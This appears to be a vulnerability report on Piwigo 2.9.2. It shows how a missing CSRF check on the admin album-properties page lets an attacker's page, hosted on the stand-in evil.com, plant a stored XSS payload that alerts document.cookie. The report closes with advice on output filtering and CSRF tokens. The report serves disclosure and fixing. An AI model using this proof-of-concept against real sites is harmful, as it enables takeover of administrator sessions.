Well, when I pentest the latest version piwigo 2.9.2, I found some vulnerabilities here.
http://demo.com/piwigo/admin.php?page=album-3-properties
For example, the admin panel has no csrf protection here , we can do something evilly to the admin user.
With the csrf , we can cheat the admin user to visit the evil webpage on the evil site:
http://evil.com/evil.htm
The xss poc content in the evil.htm:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.com/piwigo/admin.php?page=album-3-properties" method="POST">
<input type="hidden" name="name" value="test'"><svg/onload=alert(document.cookie)><'"" />
<input type="hidden" name="comment" value="test" />
<input type="hidden" name="parent" value="0" />
<input type="hidden" name="visible" value="true" />
<input type="hidden" name="commentable" value="true" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
At last, the admin user write evil stored-xss content to the admin panel by himself, and the evil attacker don't need to login into admin panel personally.
We should add some sec-character-filter to the output of the site , even in the admin panel. On the other hand, adding csrf protection to the important operation in the admin panel,is also needed to be considered.